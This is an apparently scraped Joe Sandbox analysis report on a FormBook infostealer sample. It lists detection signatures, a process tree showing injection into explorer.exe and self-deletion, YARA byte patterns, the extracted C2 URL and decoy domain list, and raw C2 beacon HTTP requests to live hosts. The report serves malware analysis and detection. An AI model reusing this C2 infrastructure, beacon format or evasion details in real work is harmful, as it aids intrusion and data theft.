Joe Sandbox Cloud Basic Analysis Report

Loading ...

Play interactive tourEdit tour

Windows Analysis Report Fu94e0b1TR

Overview

General Information

Sample Name:Fu94e0b1TR (renamed file extension from none to exe)
Analysis ID:502374
MD5:6429aa83e4bc083b4f0b3f44b0d7950f
SHA1:0ead59881f054284f611accb61451ed1ffc818fc
SHA256:96c57ae661562e958e01bb0b490c09a0a51bb367931620223174963de88bdfcb
Tags:32exetrojan
Infos:

Most interesting Screenshot:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Yara detected AntiVM3
System process connects to network (likely due to code injection or exploit)
Sample uses process hollowing technique
Uses netstat to query active network connections and open ports
Maps a DLL or memory area into another process
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Self deletion via cmd delete
.NET source code contains potential unpacker
Queues an APC in another process (thread injection)
Tries to detect virtualization through RDTSC time measurements
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Sample file is different than original file name gathered from version info
PE file contains strange resources
Contains functionality to read the PEB
Checks if the current process is being debugged
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

  • System is w10x64
  • Fu94e0b1TR.exe (PID: 4628 cmdline: 'C:\Users\user\Desktop\Fu94e0b1TR.exe' MD5: 6429AA83E4BC083B4F0B3F44B0D7950F)
    • Fu94e0b1TR.exe (PID: 4840 cmdline: C:\Users\user\Desktop\Fu94e0b1TR.exe MD5: 6429AA83E4BC083B4F0B3F44B0D7950F)
    • Fu94e0b1TR.exe (PID: 2848 cmdline: C:\Users\user\Desktop\Fu94e0b1TR.exe MD5: 6429AA83E4BC083B4F0B3F44B0D7950F)
      • explorer.exe (PID: 3472 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
        • NETSTAT.EXE (PID: 3204 cmdline: C:\Windows\SysWOW64\NETSTAT.EXE MD5: 4E20FF629119A809BC0E7EE2D18A7FDB)
          • cmd.exe (PID: 1844 cmdline: /c del 'C:\Users\user\Desktop\Fu94e0b1TR.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)
            • conhost.exe (PID: 4308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.fis.photos/ef6c/"], "decoy": ["gicaredocs.com", "govusergroup.com", "conversationspit.com", "brondairy.com", "rjtherealest.com", "xn--9m1bq8wgkag3rjvb.com", "mylori.net", "softandcute.store", "ahljsm.com", "shacksolid.com", "weekendmusecollection.com", "gaminghallarna.net", "pgonline111.online", "44mpt.xyz", "ambrandt.com", "eddytattoo.com", "blendeqes.com", "upinmyfeels.com", "lacucinadesign.com", "docomoau.xyz", "xn--90armbk7e.online", "xzq585858.net", "kidzgovroom.com", "lhznqyl.press", "publicationsplace.com", "jakante.com", "csspadding.com", "test-testjisdnsec.store", "lafabriqueabeilleassurances.com", "clf010.com", "buybabysnuggle.com", "uzmdrmustafaalperaykanat.com", "levanttradegroup.com", "arcflorals.com", "kinglot2499.com", "freekagyans.com", "region10group.gmbh", "yeyelm744.com", "thehomedesigncentre.com", "vngc.xyz", "szesdkj.com", "charlottewright.online", "planetgreennetwork.com", "pacifica7.com", "analogueadapt.com", "sensorypantry.com", "narbaal.com", "restaurant-utopia.xyz", "golnay.com", "szyyglass.com", "redelirevearyseuiop.xyz", "goldsteelconstruction.com", "discovercotswoldcottages.com", "geniuseven.net", "apricitee.com", "stopmoshenik.online", "ya2gh.com", "instatechnovelz.com", "dbe648.com", "seifjuban.com", "conquershirts.store", "totalcovidtravel.com", "pamperotrabajo.com", "satellitphonestore.com"]}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000006.00000002.370028583.0000000000400000.00000040.00000001.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
    00000006.00000002.370028583.0000000000400000.00000040.00000001.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
    • 0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
    • 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
    • 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
    • 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
    • 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
    • 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
    • 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
    • 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
    • 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D
    • 0x19b77:$sequence_8: 3C 54 74 04 3C 74 75 F4
    • 0x1ac1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
    00000006.00000002.370028583.0000000000400000.00000040.00000001.sdmpFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
    • 0x16aa9:$sqlite3step: 68 34 1C 7B E1
    • 0x16bbc:$sqlite3step: 68 34 1C 7B E1
    • 0x16ad8:$sqlite3text: 68 38 2A 90 C5
    • 0x16bfd:$sqlite3text: 68 38 2A 90 C5
    • 0x16aeb:$sqlite3blob: 68 53 D8 7F 8C
    • 0x16c13:$sqlite3blob: 68 53 D8 7F 8C
    00000000.00000002.277178151.0000000002B11000.00000004.00000001.sdmpJoeSecurity_AntiVM_3Yara detected AntiVM_3Joe Security
      00000012.00000002.513567456.0000000000A20000.00000040.00020000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
        Click to see the 24 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        6.2.Fu94e0b1TR.exe.400000.0.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
          6.2.Fu94e0b1TR.exe.400000.0.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
          • 0x7808:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x7b92:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x138a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
          • 0x13391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
          • 0x139a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
          • 0x13b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
          • 0x85aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
          • 0x1260c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
          • 0x9322:$sequence_7: 66 89 0C 02 5B 8B E5 5D
          • 0x18d77:$sequence_8: 3C 54 74 04 3C 74 75 F4
          • 0x19e1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
          6.2.Fu94e0b1TR.exe.400000.0.unpackFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
          • 0x15ca9:$sqlite3step: 68 34 1C 7B E1
          • 0x15dbc:$sqlite3step: 68 34 1C 7B E1
          • 0x15cd8:$sqlite3text: 68 38 2A 90 C5
          • 0x15dfd:$sqlite3text: 68 38 2A 90 C5
          • 0x15ceb:$sqlite3blob: 68 53 D8 7F 8C
          • 0x15e13:$sqlite3blob: 68 53 D8 7F 8C
          6.2.Fu94e0b1TR.exe.400000.0.raw.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
            6.2.Fu94e0b1TR.exe.400000.0.raw.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
            • 0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
            • 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
            • 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
            • 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
            • 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
            • 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
            • 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
            • 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
            • 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D
            • 0x19b77:$sequence_8: 3C 54 74 04 3C 74 75 F4
            • 0x1ac1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
            Click to see the 8 entries

            Sigma Overview

            No Sigma rule has matched

            Jbx Signature Overview

            Click to jump to signature section

            Show All Signature Results

            AV Detection:

            barindex
            Found malware configurationShow sources
            Source: 00000006.00000002.370028583.0000000000400000.00000040.00000001.sdmpMalware Configuration Extractor: FormBook {"C2 list": ["www.fis.photos/ef6c/"], "decoy": ["gicaredocs.com", "govusergroup.com", "conversationspit.com", "brondairy.com", "rjtherealest.com", "xn--9m1bq8wgkag3rjvb.com", "mylori.net", "softandcute.store", "ahljsm.com", "shacksolid.com", "weekendmusecollection.com", "gaminghallarna.net", "pgonline111.online", "44mpt.xyz", "ambrandt.com", "eddytattoo.com", "blendeqes.com", "upinmyfeels.com", "lacucinadesign.com", "docomoau.xyz", "xn--90armbk7e.online", "xzq585858.net", "kidzgovroom.com", "lhznqyl.press", "publicationsplace.com", "jakante.com", "csspadding.com", "test-testjisdnsec.store", "lafabriqueabeilleassurances.com", "clf010.com", "buybabysnuggle.com", "uzmdrmustafaalperaykanat.com", "levanttradegroup.com", "arcflorals.com", "kinglot2499.com", "freekagyans.com", "region10group.gmbh", "yeyelm744.com", "thehomedesigncentre.com", "vngc.xyz", "szesdkj.com", "charlottewright.online", "planetgreennetwork.com", "pacifica7.com", "analogueadapt.com", "sensorypantry.com", "narbaal.com", "restaurant-utopia.xyz", "golnay.com", "szyyglass.com", "redelirevearyseuiop.xyz", "goldsteelconstruction.com", "discovercotswoldcottages.com", "geniuseven.net", "apricitee.com", "stopmoshenik.online", "ya2gh.com", "instatechnovelz.com", "dbe648.com", "seifjuban.com", "conquershirts.store", "totalcovidtravel.com", "pamperotrabajo.com", "satellitphonestore.com"]}
            Yara detected FormBookShow sources
            Source: Yara matchFile source: 6.2.Fu94e0b1TR.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 6.2.Fu94e0b1TR.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0.2.Fu94e0b1TR.exe.3c84fc0.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0.2.Fu94e0b1TR.exe.3c3ada0.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000006.00000002.370028583.0000000000400000.00000040.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000012.00000002.513567456.0000000000A20000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000000.333414635.000000000FAD6000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000012.00000002.513760624.0000000000A50000.00000004.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000000.311554346.000000000FAD6000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.371224121.0000000000F20000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000000.00000002.282740924.0000000003B19000.00000004.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000012.00000002.512579124.00000000003C0000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.371120002.0000000000CF0000.00000040.00020000.sdmp, type: MEMORY
            Source: 6.2.Fu94e0b1TR.exe.400000.0.unpackAvira: Label: TR/Crypt.ZPACK.Gen
            Source: Fu94e0b1TR.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
            Source: Fu94e0b1TR.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
            Source: Binary string: netstat.pdbGCTL source: Fu94e0b1TR.exe, 00000006.00000002.371455073.0000000001150000.00000040.00020000.sdmp
            Source: Binary string: netstat.pdb source: Fu94e0b1TR.exe, 00000006.00000002.371455073.0000000001150000.00000040.00020000.sdmp
            Source: Binary string: wntdll.pdbUGP source: Fu94e0b1TR.exe, 00000006.00000002.371484148.0000000001160000.00000040.00000001.sdmp, NETSTAT.EXE, 00000012.00000002.515622767.0000000002D20000.00000040.00000001.sdmp
            Source: Binary string: wntdll.pdb source: Fu94e0b1TR.exe, NETSTAT.EXE
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 4x nop then pop ebx
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 4x nop then pop edi
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 4x nop then pop edi
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 4x nop then pop ebx
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 4x nop then pop edi
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 4x nop then pop edi

            Networking:

            barindex
            Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)Show sources
            Source: TrafficSnort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49795 -> 64.190.62.111:80
            Source: TrafficSnort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49795 -> 64.190.62.111:80
            Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49795 -> 64.190.62.111:80
            Source: TrafficSnort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49797 -> 192.0.78.24:80
            Source: TrafficSnort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49797 -> 192.0.78.24:80
            Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49797 -> 192.0.78.24:80
            System process connects to network (likely due to code injection or exploit)Show sources
            Source: C:\Windows\explorer.exeDomain query: www.instatechnovelz.com
            Source: C:\Windows\explorer.exeNetwork Connect: 172.65.227.72 80
            Source: C:\Windows\explorer.exeDomain query: www.apricitee.com
            Source: C:\Windows\explorer.exeDomain query: www.shacksolid.com
            Source: C:\Windows\explorer.exeNetwork Connect: 64.190.62.111 80
            Source: C:\Windows\explorer.exeDomain query: www.brondairy.com
            Uses netstat to query active network connections and open portsShow sources
            Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\NETSTAT.EXE C:\Windows\SysWOW64\NETSTAT.EXE
            C2 URLs / IPs found in malware configurationShow sources
            Source: Malware configuration extractorURLs: www.fis.photos/ef6c/
            Source: Joe Sandbox ViewASN Name: NBS11696US NBS11696US
            Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
            Source: global trafficHTTP traffic detected: GET /ef6c/?BJB=7nO80D&yrTlglv8=KSHN/72DEJPyd/OuGOIXNFBSZoOhZSSqcZP1Rqc2bg8KEPsXLZdPsQK+HlsXn3Jp1PaC HTTP/1.1Host: www.apricitee.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
            Source: global trafficHTTP traffic detected: GET /ef6c/?yrTlglv8=JeohSOzXiZYIapiQlSWyFy7AWxQU0a2IMxMIOt5NBtSaZYcWimwRehmIZ/KtIrBMaY3r&BJB=7nO80D HTTP/1.1Host: www.shacksolid.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
            Source: Joe Sandbox ViewIP Address: 64.190.62.111 64.190.62.111
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://fontfabrik.com
            Source: Fu94e0b1TR.exe, 00000000.00000003.252645289.00000000059A1000.00000004.00000001.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.carterandcone.coml
            Source: Fu94e0b1TR.exe, 00000000.00000002.277178151.0000000002B11000.00000004.00000001.sdmpString found in binary or memory: http://www.collada.org/2005/11/COLLADASchema9Done
            Source: Fu94e0b1TR.exe, 00000000.00000002.285145562.0000000005964000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers
            Source: Fu94e0b1TR.exe, 00000000.00000003.257245826.000000000599C000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/%
            Source: Fu94e0b1TR.exe, 00000000.00000003.257106060.0000000005999000.00000004.00000001.sdmp, Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
            Source: Fu94e0b1TR.exe, 00000000.00000003.260583802.000000000596F000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.html
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
            Source: Fu94e0b1TR.exe, 00000000.00000003.260583802.000000000596F000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlr
            Source: Fu94e0b1TR.exe, 00000000.00000003.259708004.000000000596F000.00000004.00000001.sdmp, Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
            Source: Fu94e0b1TR.exe, 00000000.00000003.259327134.0000000005999000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-jones.htmlx
            Source: Fu94e0b1TR.exe, 00000000.00000003.259563222.0000000005999000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers5
            Source: Fu94e0b1TR.exe, 00000000.00000003.259630894.0000000005999000.00000004.00000001.sdmp, Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
            Source: Fu94e0b1TR.exe, 00000000.00000003.267018453.0000000005999000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designersK
            Source: Fu94e0b1TR.exe, 00000000.00000003.258524788.0000000005999000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designersP
            Source: Fu94e0b1TR.exe, 00000000.00000003.267018453.0000000005999000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designersiva
            Source: Fu94e0b1TR.exe, 00000000.00000003.259708004.000000000596F000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com7
            Source: Fu94e0b1TR.exe, 00000000.00000003.260965748.000000000596F000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.comD
            Source: Fu94e0b1TR.exe, 00000000.00000003.260965748.000000000596F000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.comF
            Source: Fu94e0b1TR.exe, 00000000.00000003.259708004.000000000596F000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.comFk
            Source: Fu94e0b1TR.exe, 00000000.00000003.260965748.000000000596F000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.comI.TTF
            Source: Fu94e0b1TR.exe, 00000000.00000003.259708004.000000000596F000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.comR.TTF
            Source: Fu94e0b1TR.exe, 00000000.00000003.260583802.000000000596F000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.comalicu
            Source: Fu94e0b1TR.exe, 00000000.00000003.260965748.000000000596F000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.comd
            Source: Fu94e0b1TR.exe, 00000000.00000003.260965748.000000000596F000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.comdito
            Source: Fu94e0b1TR.exe, 00000000.00000003.260965748.000000000596F000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.comessed
            Source: Fu94e0b1TR.exe, 00000000.00000003.260583802.000000000596F000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.comk
            Source: Fu94e0b1TR.exe, 00000000.00000003.259708004.000000000596F000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.comt
            Source: Fu94e0b1TR.exe, 00000000.00000003.259708004.000000000596F000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.comtuta
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.fonts.com
            Source: Fu94e0b1TR.exe, 00000000.00000003.252060604.000000000599A000.00000004.00000001.sdmpString found in binary or memory: http://www.founder.com.cn/cn
            Source: Fu94e0b1TR.exe, 00000000.00000003.252293628.0000000005999000.00000004.00000001.sdmpString found in binary or memory: http://www.founder.com.cn/cn/
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
            Source: Fu94e0b1TR.exe, 00000000.00000003.263851133.0000000005999000.00000004.00000001.sdmpString found in binary or memory: http://www.galapagosdesign.com/
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
            Source: Fu94e0b1TR.exe, 00000000.00000003.263851133.0000000005999000.00000004.00000001.sdmpString found in binary or memory: http://www.galapagosdesign.com/k
            Source: Fu94e0b1TR.exe, 00000000.00000003.264392875.000000000599E000.00000004.00000001.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/denQ
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
            Source: Fu94e0b1TR.exe, 00000000.00000003.264185208.000000000597A000.00000004.00000001.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htmNormaldk
            Source: Fu94e0b1TR.exe, 00000000.00000003.263989086.0000000005999000.00000004.00000001.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htmS
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.goodfont.co.kr
            Source: Fu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmp, Fu94e0b1TR.exe, 00000000.00000003.254492265.000000000596C000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
            Source: Fu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/(
            Source: Fu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/)
            Source: Fu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp//lpk
            Source: Fu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/7
            Source: Fu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/D
            Source: Fu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/Y0ro
            Source: Fu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/ch
            Source: Fu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
            Source: Fu94e0b1TR.exe, 00000000.00000003.254492265.000000000596C000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/jp/D
            Source: Fu94e0b1TR.exe, 00000000.00000003.254492265.000000000596C000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/k
            Source: Fu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/ms
            Source: Fu94e0b1TR.exe, 00000000.00000003.253358837.0000000005963000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/nly
            Source: Fu94e0b1TR.exe, 00000000.00000003.253958296.0000000005968000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/nt
            Source: Fu94e0b1TR.exe, 00000000.00000003.254492265.000000000596C000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/t
            Source: Fu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/v
            Source: Fu94e0b1TR.exe, 00000000.00000003.253827230.000000000596D000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/y
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.sajatypeworks.com
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.sakkal.com
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.sandoll.co.kr
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.tiro.com
            Source: Fu94e0b1TR.exe, 00000000.00000003.252359089.0000000005999000.00000004.00000001.sdmpString found in binary or memory: http://www.tiro.coma-e
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.typography.netD
            Source: Fu94e0b1TR.exe, 00000000.00000003.261217392.000000000596E000.00000004.00000001.sdmpString found in binary or memory: http://www.urwpp.de
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.urwpp.deDPlease
            Source: Fu94e0b1TR.exe, 00000000.00000003.261217392.000000000596E000.00000004.00000001.sdmpString found in binary or memory: http://www.urwpp.deMT
            Source: Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
            Source: NETSTAT.EXE, 00000012.00000002.518424149.00000000033D2000.00000004.00020000.sdmpString found in binary or memory: https://flow.page/rjdarealest/ef6c/?BJB=7nO80D&yrTlglv8=yyRuLH34I
            Source: NETSTAT.EXE, 00000012.00000002.518424149.00000000033D2000.00000004.00020000.sdmpString found in binary or memory: https://sedo.com/search/details/?partnerid=324561&language=e&domain=shacksolid.com&origin=sales_land
            Source: unknownDNS traffic detected: queries for: www.apricitee.com
            Source: global trafficHTTP traffic detected: GET /ef6c/?BJB=7nO80D&yrTlglv8=KSHN/72DEJPyd/OuGOIXNFBSZoOhZSSqcZP1Rqc2bg8KEPsXLZdPsQK+HlsXn3Jp1PaC HTTP/1.1Host: www.apricitee.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
            Source: global trafficHTTP traffic detected: GET /ef6c/?yrTlglv8=JeohSOzXiZYIapiQlSWyFy7AWxQU0a2IMxMIOt5NBtSaZYcWimwRehmIZ/KtIrBMaY3r&BJB=7nO80D HTTP/1.1Host: www.shacksolid.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

            E-Banking Fraud:

            barindex
            Yara detected FormBookShow sources
            Source: Yara matchFile source: 6.2.Fu94e0b1TR.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 6.2.Fu94e0b1TR.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0.2.Fu94e0b1TR.exe.3c84fc0.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0.2.Fu94e0b1TR.exe.3c3ada0.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000006.00000002.370028583.0000000000400000.00000040.00000001.sdmp, type: MEMORY
